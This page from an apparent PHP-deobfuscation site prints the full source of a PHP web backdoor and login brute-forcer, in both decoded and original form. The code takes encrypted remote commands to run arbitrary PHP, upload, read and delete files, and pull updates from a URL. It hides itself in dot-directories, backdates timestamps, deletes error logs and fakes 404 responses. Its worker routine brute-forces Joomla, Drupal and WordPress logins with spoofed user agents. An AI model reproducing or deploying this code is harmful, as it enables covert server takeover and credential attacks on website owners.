Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_0=microtime(true);@ignore_user_abort(true);@error_reporting(0);@ini_set('display_e..

Decoded Output download

<?php $_0=microtime(true);@ignore_user_abort(true);@error_reporting(0);@ini_set('display_errors','0');@ini_set('log_errors','0');@set_time_limit(0);@ini_set('max_execution_time',0);$_1=str_replace('M','',ini_get("memory_limit"));if($_1<64){$_1=64;}elseif($_1>64 && $_1<128){$_1=128;}@ini_set("memory_limit",$_1 ."M");$_2=ini_get('max_execution_time');@set_magic_quotes_runtime(0);@ini_set("magic_quotes_runtime",0);$_3='n:6:{f:3:"xrl";f:2:"bk";f:7:"rapelcg";f:16:"15o06792165ro22q";f:4:"gvzr";v:1409471314;f:3:"qve";f:67:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748";f:3:"pst";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p4r19o3or1o628n4o11671rsp5sn5np5122n059o";f:1:"s";n:3:{f:3:"vac";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p3941qq0p6onnq738qq8poq02n27609q6p21q3s7";f:3:"bhg";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.rrrq0rn87s0q86r380321pprpqsssqo2os97n845";f:3:"gzc";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.129958688p3158712565p11q2n338n1402652940";}}';$_4='3.1.8';$_5="http://{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}";$_6=getmypid();if($_3=='{' .'CFG_DATA' .'}'){__20(" * {$_6}	 [ INSTALL ]
");$_7=__0('in');__9($_7,0);}$_7=__5($_3);$_8=__7();if(!empty($_REQUEST[$_7['key']])){$_9=base64_decode($_REQUEST[$_7['key']]);$_9=__19($_9);$_9=__13($_7['encrypt'],$_9);$_9=unserialize($_9);if(is_array($_9)AND count($_9)>0){if($_9['act']=='live'){__20(" * {$_6}	 [ LIVE ]
");while(1){$_10=__3();if(filesize($_7['f']['tmp'])>0){$_11=file_get_contents($_7['f']['tmp']);file_put_contents($_7['f']['tmp'],'');file_put_contents($_7['f']['inp'],$_11,FILE_APPEND|LOCK_EX);}if(filesize($_7['f']['inp'])>0){$_12=file($_7['f']['inp']);__8(array('ltime'=> round(microtime(1)),'status'=> 'live','pid'=> $_6));for($_13=0;$_13!=10;$_13++){if(is_file($_7['cfg'] .'s')){__20(" * {$_6}	 [ STOP ]
");__8(array('ltime'=> round(microtime(1)),'status'=> 'stop','pid'=> 0));die;}$_14=array_pop($_12);if(empty($_14)){continue;}if(!__10(array('act'=>'thread','thread'=>trim($_14)))){$_12[]=$_15;}file_put_contents($_7['f']['inp'],implode('',$_12));__6();}}else{__20(" * {$_6}	 [ SLEEP ]
");__8(array('ltime'=> round(microtime(1)),'status'=> 'sleep','pid'=>0));__4();die;}sleep(2);__6();__4();}}elseif($_9['act']=='thread'AND!empty($_9['thread'])){__20(" + {$_6}	 [ THREAD START ]
");$_16=unserialize(trim($_9['thread']));$_17=__1($_16);if($_17!='invalid'){$_18=$_16;$_18['status']=$_17;file_put_contents($_7['f']['out'],serialize($_18) ."
",FILE_APPEND|LOCK_EX);}__20(" - {$_6}	 [ THREAD END ]
");die;}elseif($_9['act']=='cmd'AND!empty($_9['cmd'])){if($_9['cmd']=='status'){__20(" \$ {$_6}	 [ STATUS ]
");$_19['url']=$_5;$_19['cwd']=getcwd();$_19['ver']=$_4;$_19['limit']=$_2;$_19['time']=microtime(1);$_19['cfg']=__7();$_19['cns']=$_7;foreach($_7['f']as $_20=>$_21){$_19['cmd'][$_20]=count(file($_21));}}if($_9['cmd']=='config'and is_array($_9['cfg'])){__20(" \$ {$_6}	 [ CONFIG ]
");__8($_9['cfg']);$_8=__7();$_19['status']='success';$_19['cfg']=$_8;}if($_9['cmd']=='php'and!empty($_9['php'])){__20(" \$ {$_6}	 [ EVAL PHP ]
");$_22=__12($_9['php']);$_19['status']='success';$_19['data']=$_22;}if($_9['cmd']=='kill'){file_put_contents($_7['cfg'] .'s','');sleep(5);foreach($_7['f']as $_23){unlink($_23);$_19['kill'][]=$_23;}unlink($_7['cfg']);$_19['kill'][]=$_7['cfg'];unlink($_7['cfg'] .'s');rmdir($_7['dir']);$_19['kill'][]=$_7['dir'];unlink($_SERVER['SCRIPT_FILENAME']);$_19['kill'][]=$_SERVER['SCRIPT_FILENAME'];if(is_file('error_log')){unlink('error_log');$_19['kill'][]='error_log';}touch('.',$_7['time']);$_19['status']='success';}if($_9['cmd']=='update'and!empty($_9['update'])){__20(" \$ {$_6}	 [ UPDATE ]
");file_put_contents($_7['cfg'] .'s','');$_24=parse_url($_9['update']);if(!empty($_24['host'])){__20(" \$ {$_6}	 [ DOWNLOAD ]
");if($_9=__17($_9['update'])){if(!preg_match('#^<?#',$_9)){die;}}sleep(2);}else{$_9=$_9['update'];if(!preg_match('#^<?#',$_9)){die;}sleep(4);}__0('up',$_9);unlink($_7['cfg'] .'s');$_19['status']='success';}if($_9['cmd']=='reset'){$_19['status']='success';__20(" \$ {$_6}	 [ RESET ]
");file_put_contents($_7['cfg'] .'s','');sleep(4);foreach($_7['f']as $_20=>$_25){$_19['reset'][]=$_25;file_put_contents($_25,'');}unlink($_7['cfg'] .'s');}if($_9['cmd']=='upload'){if($_REQUEST['file']['size']>0){if(move_uploaded_file($_REQUEST['file']['tmp_name'],$_9['file_name'])){$_19=array('status'=>1);$_26=$_9['file_name'];if(!empty($_9['chmod'])){chmod($_26,$_9['chmod']);}if(!empty($_9['touch'])){touch($_26,$_9['touch']);}if(!empty($_9['touch_dir'])){$_27=dirname($_26);touch($_27,$_9['touch_dir']);}}}}if($_9['cmd']=='listing'){$_19=array('data'=>__16($_9['path'],$_9['level']));$_19['status']='success';}if($_9['cmd']=='read'){if($_28=file_get_contents($_9['file_name'])){$_19['status']='success';$_19=array('status'=>1,'data'=>$_28);}}if($_9['cmd']=='remove'){if(unlink($_9['file_name'])){$_19['status']='success';$_19=array('status'=>1);touch(dirname($_9['file_name']),$_9['touch_dir']);}}if($_9['cmd']=='input'and!empty($_9['inp'])){__20(" \$ {$_6}	 [ INPUT ]
");if(!file_put_contents($_7['f']['tmp'],$_9['inp'],FILE_APPEND|LOCK_EX)){$_19['er'][]='Write ' .$_7['f']['tmp'];}else{$_19['input']=1;}$_19['status']='success';}if(!empty($_9['out'])){__20(" \$ {$_6}	 [ OUTPUT ]
");if($_29=file_get_contents($_7['f']['out'])){file_put_contents($_7['f']['out'],'');$_19['out']=$_29;}}}if(filesize($_7['f']['inp'])>0 OR filesize($_7['f']['tmp'])>0){if($_8['status']!='live'){__10(array('act'=>'live'));}elseif((microtime(1)-$_8['ltime'])>60){__10(array('act'=>'live'));__9($_19);}}__4();__9($_19);}else{__20(" ! {$_6}	Error: decrypt data.
");__11();}}else{__20(" ! {$_6}	Error: empty key.
");__11();}function __0($_20,$_9=''){global $_7,$_30,$_8;switch($_20){case "in":case "mv":$_30=0;$_31=__2($_SERVER['DOCUMENT_ROOT'],0,array());$_32='/.' .substr(sha1(rand()) .sha1(rand()),0,rand(15,25));foreach($_31 as $_33){if(is_writable($_33)){if(mkdir($_33 .$_32,0755)){$_34=$_33 .$_32;break;}}}if(empty($_34)){return false;}if($_20=='mv'){$_35=$_7['key'];$_36=$_7['encrypt'];}else{$_35=__14(rand(2,3));$_36=substr(sha1(__14(rand(20,30))),0,rand(15,18));}$_37=$_7;$_7=array('key'=> $_35,'encrypt'=> $_36,'time'=> $_30,'dir'=> $_34,'cfg'=> $_34 .'/.' .sha1(__14(rand(20,30))),'f'=> array('inp'=> $_34 .'/.' .sha1(__14(rand(20,30))),'out'=> $_34 .'/.' .sha1(__14(rand(20,30))),'tmp'=> $_34 .'/.' .sha1(__14(rand(20,30)))));$_3=serialize($_7);$_3=str_rot13($_3);$_38=file_get_contents($_SERVER['SCRIPT_FILENAME']);$_38=str_replace('n:6:{f:3:"xrl";f:2:"bk";f:7:"rapelcg";f:16:"15o06792165ro22q";f:4:"gvzr";v:1409471314;f:3:"qve";f:67:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748";f:3:"pst";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p4r19o3or1o628n4o11671rsp5sn5np5122n059o";f:1:"s";n:3:{f:3:"vac";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p3941qq0p6onnq738qq8poq02n27609q6p21q3s7";f:3:"bhg";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.rrrq0rn87s0q86r380321pprpqsssqo2os97n845";f:3:"gzc";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.129958688p3158712565p11q2n338n1402652940";}}',$_3,$_38);if($_20=='mv'){foreach($_37['f']as $_20=>$_25){if(filesize($_25)>0){copy($_25,$_7['f'][$_20]);unlink($_25);}else{file_put_contents($_7['f'][$_20],'');chmod($_25,0644);}}}else{foreach($_7['f']as $_25){file_put_contents($_25,'');chmod($_25,0644);}}if($_20=='mv'){$_39=$_8;}else{$_39=array('status'=> '--','ltime'=> 0,'pid'=> 0);}$_39=serialize($_39);$_39=__13($_7['encrypt'],$_39);file_put_contents($_7['cfg'],$_39);__20("   Key:     " .$_7['key'] ."
");__20("   Encrypt: " .$_7['encrypt'] ."
");__20("   Dir:  " .$_7['dir'] ."
");__20("   Touch:   " .date("d.m.y H:i:s",$_7['time']) ."
");__20("   Size:    " .strlen($_38) ." byte.
");__20("   Write:   " .$_SERVER['SCRIPT_FILENAME'] ."

");break;case "up":$_40=$_7;$_40=serialize($_40);$_40=str_rot13($_40);$_38=$_9;$_38=str_replace('{' .'CFG_DATA' .'}',$_40,$_38);break;}if(file_put_contents($_SERVER['SCRIPT_FILENAME'],$_38)){touch($_SERVER['SCRIPT_FILENAME'],$_30);touch('.',$_30);return $_7;}else{return false;}}function __1($_16){global $_41,$_8;if(!is_array($_16)){return false;}elseif($_16['t']=='t'){$_42=rand(15,25);sleep($_42);return $_42;}elseif($_16['t']=='j'){$_43=__15();$_44=stream_context_create(array('http'=> array('method'=> 'GET','header'=> "Content-type: application/x-www-form-urlencoded
" ."User-Agent: " .$_43)));if($_45=file_get_contents($_16['u'],false,$_44)){if(preg_match('#value="com_login"#si',$_45)){foreach($http_response_header as $_46){if(preg_match('#Set\-Cookie#si',$_46)){$_46=explode(':',$_46);$_46=explode(';',$_46[1]);$_46=explode('=',$_46[0]);break;}}$_47=$_46[0];$_48=$_46[1];preg_match("/([0-9a-f]{32})/si",$_45,$_49);$_49=$_49[1];$_50=http_build_query(array('username'=> $_16['l'],'passwd'=> $_16['p'],'lang'=> '','option'=> 'com_login','task'=> 'login',$_49 => 1));$_51=array("Content-type: application/x-www-form-urlencoded
" ."User-Agent: " .$_43 ."Cookie: {$_47}={$_48};
");$_44=stream_context_create(array('http'=> array('method'=> 'POST','content'=> $_50,'header'=> $_51)));if($_52=file_get_contents($_16['u'],false,$_44)){if(preg_match("/com_config/si",$_52)){$_53="success";}elseif(preg_match('#value="com_login"#si',$_52)){$_53="invalid";}elseif(preg_match('/3[0-9]{2}/',$http_response_header[0])){$_53='success';}else{$_53='error';}}else{$_53='error';}}else{$_53='error';}}else{$_53='error';}return $_53;}elseif($_16['t']=='d'){$_54='Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0)';if(empty($_16['u'])OR empty($_16['p'])){return 'invalid';}$_44=stream_context_create(array('http'=> array('header'=>"User-Agent: " .$_54 ."
")));if($_55=file_get_contents($_16['u'],false,$_44)AND!empty($_55)){$_56='';foreach($http_response_header as $_46){$_46=explode(': ',$_46);$_57=strtolower($_46[0]);$_58=trim(@$_46[1]);$_59[$_57]=$_58;if($_57 == 'set-cookie'){$_46=explode(':',$_46);$_60=explode(';',$_58);$_60=explode('=',$_60[0]);$_56 .= $_60[0] .'=' .$_60[1] ."; ";}}if(!empty($_59['location'])){$_16['u']=$_59['location'];}preg_match_all('/<form.*action=[\'"]{1}([^\'"]*)[\'"]{1}/',$_55,$_61);$_62=$_61[1][0];preg_match_all('/name=[\'"]{1}form_id[\'"]{1}.*(user|login){0,1}.*value=[\'"]{1}([^\'"]*)[\'"]{1}/',$_55,$_61);foreach($_61[2]as $_63){if(!preg_match('/search/',$_63)){$_64=$_63;}}preg_match_all('/form_build_id.*value=[\'"]{1}(.*)[\'"]{1}/',$_55,$_61);$_35=$_61[1][0];if(empty($_35)){return 'error';}$_11=explode('/',$_16['u']);$_16['u']=$_11[0] .'/' .$_11[1] .'/' .$_11[2] .str_replace('&amp;','&',$_62);$_65=http_build_query(array('name'=>$_16['l'],'pass'=>$_16['p'],'form_id'=>$_64,'op'=>'Log in','form_build_id'=>$_35));$_44=stream_context_create(array('http'=> array('method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded
" ."User-Agent: " .$_54 ."
" ."Cookie:" .$_56 ."
",'content'=>$_65)));if($_66=file_get_contents($_16['u'],false,$_44)){print_r($http_response_header);if(preg_match('/302/',$http_response_header[0])){if($_66=file_get_contents($_16['u'] ."",false,$_44)){}return 'success';}if(preg_match('/200/',$http_response_header[0])and preg_match('/(name|pass)/',$_66)){$_53='invalid';}else{$_53='error';}}else{$_53='error';}}else{$_53='error';}return $_53;}elseif($_16['t']=='w'){$_54=trim(__15());$_44=stream_context_create(array('http'=> array('timeout'=> 10,'method'=> 'GET','header'=> "User-Agent: " .$_54 ."
")));if($_55=file_get_contents($_16['u'],false,$_44)){if(preg_match('/pwd/',$_55)){$_56='Cookie: ';foreach($http_response_header as $_46){$_46=explode(': ',$_46);$_57=strtolower($_46[0]);$_58=trim($_46[1]);if($_57 == 'set-cookie'){$_46=explode(':',$_46);$_60=explode(';',$_58);$_60=explode('=',$_60[0]);$_56 .= $_60[0] .'=' .$_60[1] ."; ";}if($_57 == 'location'){$_16['u']=$_58;}}$_65=http_build_query(array('log'=> $_16['l'],'pwd'=> $_16['p'],'testcookie'=> 1,'wp-submit'=> 'Log in'));$_44=stream_context_create(array('http'=> array('method'=> 'POST','header'=> "Content-type: application/x-www-form-urlencoded
" ."User-Agent: " .$_54 ."
" ."Cookie:" .$_56 ."
",'content'=> $_65)));if($_66=file_get_contents($_16['u'],false,$_44)){foreach($http_response_header as $_46){if(preg_match('#wordpress_logged_in#',$_46)){$_53="success";}}if(empty($_53)){if(preg_match('/login_error/',$_66)or preg_match('/pwd/',$_66)){$_53="invalid";}}if(empty($_53)){$_53="error";}}else{$_53="error";}}else{$_53="error";}}else{$_53="error";}return $_53;}elseif($_16['t']=='x'){$_67=array("Poster","WordPress","Windows Live Writer","wp-iphone","wp-android","wp-windowsphone");$_68=$_67[array_rand($_67)];$_69="<methodCall><methodName>wp.getUsersBlogs</methodName><params>" ."<param><value><string>{$_16['l']}</string></value></param>" ."<param><value><string>{$_16['p']}</string></value></param>" ."</params></methodCall>";$_70=stream_context_create(array('http'=> array('method'=> 'POST','header'=> 'Content-Type: text/xml' ."
User-agent: $_68
",'content'=> $_69)));$_9=file_get_contents($_16['u'],false,$_70);if(preg_match_all('#<name>(.*)</name>.*<value><[^>]*>(.*)</[^>]*></value>#',$_9,$_71)){$_72=array();return 'success';}else{if(preg_match_all('#<value><int>([-0-9]*)</int></value>#',$_9,$_73)){$_74=$_73[1][0];return 'invalid';}else{return 'error';}}}elseif(is_array($_8['mdl'])AND in_array($_16['t'],$_8['mdl'])){return __10(array('id'=>serialize($_16)),$_8['mdl'][$_16['t']]['u']);}else{return 'error';}return false;}function __2($_75,$_76=0,$_31){global $_30;if(empty($_31)){$_31=array();}$_77=4;$_76++;if(empty($_30)){$_30=microtime(1);}if($_76>$_77){$_31=array_merge($_31,array('/tmp','/dev/shm','/var/tmp','/run/shm'));$_31[]=sys_get_temp_dir();$_31[]=preg_replace('#/[^/]*$#','',$_SERVER['SCRIPT_FILENAME']);shuffle($_31);$_31[]=$_SERVER['DOCUMENT_ROOT'];$_31=array_unique($_31);return $_31;}if($_78=opendir($_75)){while(false !==($_79=readdir($_78))){if($_79 == "."or $_79 == ".."){continue;}$_80=$_75 .DIRECTORY_SEPARATOR .$_79;if(filetype($_80)== "dir"){$_31[]=$_80;$_81=filectime($_80);if($_81<$_30){$_30=$_81;}array_merge($_31,__2($_80,$_76,$_31));}}}return $_31;}function __3(){Global $_7,$_8,$_6;if(!is_dir($_7['dir'])OR!is_writable($_7['dir'])){__20(" ! {$_6}	 Error: write {$_7['dir']}
");__0('mv');die;}if(!is_file($_7['cfg'])OR!is_writable($_7['cfg'])){__20(" ! {$_6}	 Error: write config {$_7['cfg']}
");__0('mv');die;}foreach($_7['f']as $_20=>$_25){if(!is_file($_25)){__20(" ! {$_6}	 Error: no file {$_25}
");__0('mv');die;}elseif(!is_writable($_25)){__20(" ! {$_6}	 Error: write {$_25}
");__0('mv');die;}}if(is_file('error_log')){__20(" ! {$_6}	 Error log found and removed: error_log
");unlink('error_log');}if(!is_writable($_SERVER['SCRIPT_FILENAME'])){chmod($_SERVER['SCRIPT_FILENAME'],0644);chmod('.',0755);}}function __4(){Global $_7;foreach($_7['f']as $_20=>$_25){touch($_25,($_7['time']+rand(-200,200)));}touch($_7['cfg'],($_7['time']+rand(-200,200)));touch($_7['dir'],($_7['time']+rand(-200,200)));return true;}function __5($_9){$_9=str_rot13($_9);return unserialize($_9);}function __6(){global $_0,$_2,$_7,$_5,$_6;if($_2==0){return true;}if((microtime(1)-$_0)>=($_2-10)){__20(" - {$_6}	 [ RESTART ]
");__10(array('act'=>'live'));die;}return false;}function __7(){global $_7;if($_39=file_get_contents($_7['cfg'])){$_39=__13($_7['encrypt'],$_39);$_39=unserialize($_39);if(is_array($_39)){return $_39;}}return false;}function __8($_39=array()){global $_7;$_82=array();$_82=__7();$_39=array_merge($_82,$_39);$_39=serialize($_39);$_39=__13($_7['encrypt'],$_39);if(file_put_contents($_7['cfg'],$_39)){return $_82;}else{return false;}}function __9($_83,$_84=1){global $_7;$_85=serialize($_83);if($_84==1){$_85=__13($_7['encrypt'],$_85);}$_85=__18($_85);$_85=base64_encode($_85);$_85="---- start ----
" .$_85 ."
---- end ----
";die($_85);}function __10($_86,$_87=''){global $_5,$_7;$_88='';$_13=0;$_89=$_5;if(!empty($_87)){$_89=$_87;}$_90=parse_url($_89);$_86=serialize($_86);$_86=__13($_7['encrypt'],$_86);$_86=__18($_86);$_86=base64_encode($_86);$_88=$_7['key'] .'=' .urlencode($_86);$_29="POST $_90[path] HTTP/1.1
";$_29 .="Host: $_90[host]
";$_29 .= 'User-Agent: ' .__15();$_29 .= "Keep-Alive: 300
";$_29 .= "Connection: keep-alive
";$_29 .= "Cache-Control: max-age=0
";$_29 .= "Content-Type: application/x-www-form-urlencoded
";$_29 .= 'Content-Length: ' .strlen($_88) ."
";$_29 .= "Connection: Close

";$_29 .= $_88;if(!$_91=fsockopen($_SERVER['SERVER_ADDR'],$_SERVER['SERVER_PORT'],$_53,$_53,5)){if(is_callable("file_get_contents")){$_92=stream_context_create(array("http"=>array('method'=> 'POST','header'=> 'Content-type: application/x-www-form-urlencoded' ."
User-Agent: " .__15(),'content'=> http_build_query(array($_7['key']=>$_86)))));stream_set_blocking($_92,false);return file_get_contents($_89,false,$_92);}elseif(is_callable("curl_exec")){$_93=curl_init();curl_setopt($_93,CURLOPT_URL,$_89);curl_setopt($_93,CURLOPT_USERAGENT,__15());curl_setopt($_93,CURLOPT_HEADER,false);curl_setopt($_93,CURLOPT_POST,1);curl_setopt($_93,CURLOPT_RETURNTRANSFER,true);curl_setopt($_93,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($_93,CURLOPT_TIMEOUT,5);curl_setopt($_93,CURLOPT_POSTFIELDS,$_88);$_94=curl_exec($_93);curl_close($_93);return $_94;}else return false;}else{socket_set_blocking($_91,false);socket_set_timeout($_91,5);if(!fputs($_91,$_29)){return false;}time_nanosleep(0,500000000);fclose($_91);return true;}}function __11(){header($_SERVER["SERVER_PROTOCOL"] ." 404 Not Found");header("Status: 404 Not Found");exit;}function __12($_95){ob_start();eval($_95);return ob_get_clean();}function __13($_35,$_95){$_53=array();for($_13=0;$_13<256;$_13++)$_53[$_13]=$_13;$_96=0;for($_13=0;$_13<256;$_13++){$_96=($_96+$_53[$_13]+ord($_35[$_13%strlen($_35)]))%256;$_97=$_53[$_13];$_53[$_13]=$_53[$_96];$_53[$_96]=$_97;}$_13=0;$_96=0;$_98='';for($_99=0;$_99<strlen($_95);$_99++){$_13=($_13+1)%256;$_96=($_96+$_53[$_13])%256;$_97=$_53[$_13];$_53[$_13]=$_53[$_96];$_53[$_96]=$_97;$_98 .= $_95[$_99]^chr($_53[($_53[$_13]+$_53[$_96])%256]);}return $_98;}function __14($_100,$_44='abcdefghijklmnopqrstuvwxyz'){for($_53='',$_101=strlen($_44)-1,$_13=0;$_13<$_100;$_53 .= $_44[mt_rand(0,$_101)],++$_13);return $_53;}function __15(){$_102=array('i686','x86_64');$_103=array('Intel','PPC','U; Intel','U; PPC');$_104=array('en-US');$_97=rand(1,5);switch($_97){case 1:$_105='Gecko/' .date('Ymd',rand(strtotime(rand(2013,date("Y",microtime(1))) .'-1-1'),mktime())) .' Firefox/' .rand(3,6) .'.' .rand(1,9) .'.' .rand(1,9);$_106=array('(Windows NT ' .rand(5,7) .'.' .rand(0,1) .'; ' .$_104[array_rand($_104,1)] .'; rv:1.9.' .rand(0,2) .'.20) ' .$_105,'(X11; Linux ' .$_102[array_rand($_102,1)] .'; rv:' .rand(5,7) .'.0) ' .$_105,'(Macintosh; ' .$_103[array_rand($_103,1)] .' Mac OS X 10_' .rand(5,7) .'_' .rand(0,9) .' rv:' .rand(2,6) .'.0) ' .$_105);return "Mozilla/5.0 " .$_106[array_rand($_106,1)] ."
";break;case 2:$_107=rand(531,535) .'.' .rand(1,50) .'.' .rand(1,7);$_105=rand(4,5) .'.' .rand(0,1) .'.' .rand(1,7);$_106=array('(Windows; U; Windows NT ' .rand(5,6) .'.' .rand(0,1) .") AppleWebKit/$_107 (KHTML, like Gecko) Version/$_105 Safari/$_107",'(Macintosh; U; ' .$_103[array_rand($_103,1)] .' Mac OS X 10_' .rand(5,7) .'_' .rand(0,9) .' rv:' .rand(2,6) .'.0; ' .$_104[array_rand($_104,1)] .") AppleWebKit/$_107 (KHTML, like Gecko) Version/$_105 Safari/$_107",'(iPod; U; CPU iPhone OS ' .rand(3,4) .'_' .rand(0,3) .' like Mac OS X; ' .$_104[array_rand($_104,1)] .") AppleWebKit/$_107 (KHTML, like Gecko) Version/" .rand(3,4) .".0.5 Mobile/8B" .rand(111,119) ." Safari/6$_107",);return "Mozilla/5.0 " .$_106[array_rand($_106,1)] ."
";break;case 3:$_108=array('','; .NET CLR 1.1.' .rand(4320,4325) .'','; WOW64');$_106=array('(compatible; MSIE ' .rand(5,9) .'.0; Windows NT ' .rand(5,6) .'.' .rand(0,1) .'; Trident/' .rand(3,5) .'.' .rand(0,1) .')');return "Mozilla/" .rand(4,5) .".0 " .$_106[array_rand($_106,1)] ."
";break;case 4:$_109=array('','; .NET CLR 1.1.' .rand(4320,4325) .'','; WOW64');$_106=array('(X11; Linux ' .$_102[array_rand($_102,1)] .'; U; ' .$_104[array_rand($_104,1)] .') Presto/2.9.' .rand(160,190) .' Version/' .rand(10,12) .'.00','(Windows NT ' .rand(5,6) .'.' .rand(0,1) .'; U; ' .$_104[array_rand($_104,1)] .') Presto/2.9.' .rand(160,190) .' Version/' .rand(10,12) .'.00');return "Opera/" .rand(8,9) .'.' .rand(10,99) .' ' .$_106[array_rand($_106,1)] ."
";break;case 5:$_107=rand(531,536) .rand(0,2);$_106=array('(X11; Linux ' .$_102[array_rand($_102,1)] .") AppleWebKit/$_107 (KHTML, like Gecko) Chrome/" .rand(13,15) .'.0.' .rand(800,899) .".0 Safari/$_107",'(Windows NT ' .rand(5,6) .'.' .rand(0,1) .") AppleWebKit/$_107 (KHTML, like Gecko) Chrome/" .rand(13,15) .'.0.' .rand(800,899) .".0 Safari/$_107",'(Macintosh; U; ' .$_103[array_rand($_103,1)] .' Mac OS X 10_' .rand(5,7) .'_' .rand(0,9) .") AppleWebKit/$_107 (KHTML, like Gecko) Chrome/" .rand(13,15) .'.0.' .rand(800,899) .".0 Safari/$_107");return 'Mozilla/5.0' .$_106[array_rand($_106,1)] ."
";break;}return false;}function __16($_75,$_77=1,$_76=0,$_110=array()){$_111=array();if($_76>$_77)return $_110;if($_78=opendir($_75)){while(false !==($_79=readdir($_78))){if($_79=='..'or $_79=='.')continue;$_112=$_75 .'/' .$_79;if(filetype($_112)== "dir"){$_111[]=$_112;}if(filetype($_112)!= "dir"or($_76+1)<=$_77){$_110['file'][]=array('name'=>$_112,'type'=>filetype($_112),'mtime'=>filemtime($_112),'chmod'=>fileperms($_112));}}$_76++;if(sizeof($_111)>0){foreach($_111 as $_27){$_110=scan($_27,$_77,$_76,$_110);}}}return $_110;}function __17($_5){$_113=trim(__15());$_94='';if(is_callable("curl_exec")){$_93=curl_init();curl_setopt($_93,CURLOPT_URL,$_5);curl_setopt($_93,CURLOPT_USERAGENT,$_113);curl_setopt($_93,CURLOPT_HEADER,false);curl_setopt($_93,CURLOPT_RETURNTRANSFER,true);$_94=curl_exec($_93);curl_close($_93);return $_94;}elseif(is_callable("file_get_contents")){return file_get_contents($_5,false,stream_context_create(array("http"=>array("header"=>"User-Agent: {$_113}"))));}elseif(is_callable("fsockopen")){if($_112=fsockopen(parse_url($_5,PHP_URL_HOST),80,$_114,$_114,15)){$_29="GET " .parse_url($_5,PHP_URL_PATH) ." HTTP/1.1
";$_29.="Host: " .parse_url($_5,PHP_URL_HOST) ."
";$_29.="User-Agent: {$_113}
";$_29.="
";fputs($_112,$_29);while(!feof($_112)){$_94.=fgets($_112,128);}fclose($_112);return $_94;}else return false;}else return false;}function __18($_95){$_115=array_flip(range("",""));$_116="";$_117=array();for($_13=0;$_13 <= strlen($_95);$_13++){@$_97=$_95[$_13];if(strlen($_97)&& isset($_115[$_116 .$_97])){$_116 .= $_97;}elseif($_13){$_117[]=$_115[$_116];$_115[$_116 .$_97]=count($_115);$_116=$_97;}}$_118=256;$_119=8;$_120="";$_121=0;$_122=0;foreach($_117 as $_74){$_121=($_121 << $_119)+$_74;$_122 += $_119;$_118++;if($_118>(1 << $_119)){$_119++;}while($_122>7){$_122 -= 8;$_120 .= chr($_121 >> $_122);$_121 &=(1 << $_122)-1;}}return $_120 .($_122?chr($_121 <<(8-$_122)):"");}function __19($_123){$_118=256;$_119=8;$_117=array();$_121=0;$_122=0;for($_13=0;$_13<strlen($_123);$_13++){$_121=($_121 << 8)+ord($_123[$_13]);$_122 += 8;if($_122 >= $_119){$_122 -= $_119;$_117[]=$_121 >> $_122;$_121 &=(1 << $_122)-1;$_118++;if($_118>(1 << $_119)){$_119++;}}}$_115=range("","");$_120="";foreach($_117 as $_13 => $_74){$_124=$_115[$_74];if(!isset($_124)){$_124=$_116 .$_116[0];}$_120 .= $_124;if($_13){$_115[]=$_116 .$_124[0];}$_116=$_124;}return $_120;}function __20($_125){} ?>

Did this file decode correctly?

Original Code

<?php $_0=microtime(true);@ignore_user_abort(true);@error_reporting(0);@ini_set('display_errors','0');@ini_set('log_errors','0');@set_time_limit(0);@ini_set('max_execution_time',0);$_1=str_replace('M','',ini_get("memory_limit"));if($_1<64){$_1=64;}elseif($_1>64 && $_1<128){$_1=128;}@ini_set("memory_limit",$_1 ."M");$_2=ini_get('max_execution_time');@set_magic_quotes_runtime(0);@ini_set("magic_quotes_runtime",0);$_3='n:6:{f:3:"xrl";f:2:"bk";f:7:"rapelcg";f:16:"15o06792165ro22q";f:4:"gvzr";v:1409471314;f:3:"qve";f:67:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748";f:3:"pst";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p4r19o3or1o628n4o11671rsp5sn5np5122n059o";f:1:"s";n:3:{f:3:"vac";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p3941qq0p6onnq738qq8poq02n27609q6p21q3s7";f:3:"bhg";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.rrrq0rn87s0q86r380321pprpqsssqo2os97n845";f:3:"gzc";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.129958688p3158712565p11q2n338n1402652940";}}';$_4='3.1.8';$_5="http://{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}";$_6=getmypid();if($_3=='{' .'CFG_DATA' .'}'){__20(" * {$_6}\t [ INSTALL ]\n");$_7=__0('in');__9($_7,0);}$_7=__5($_3);$_8=__7();if(!empty($_REQUEST[$_7['key']])){$_9=base64_decode($_REQUEST[$_7['key']]);$_9=__19($_9);$_9=__13($_7['encrypt'],$_9);$_9=unserialize($_9);if(is_array($_9)AND count($_9)>0){if($_9['act']=='live'){__20(" * {$_6}\t [ LIVE 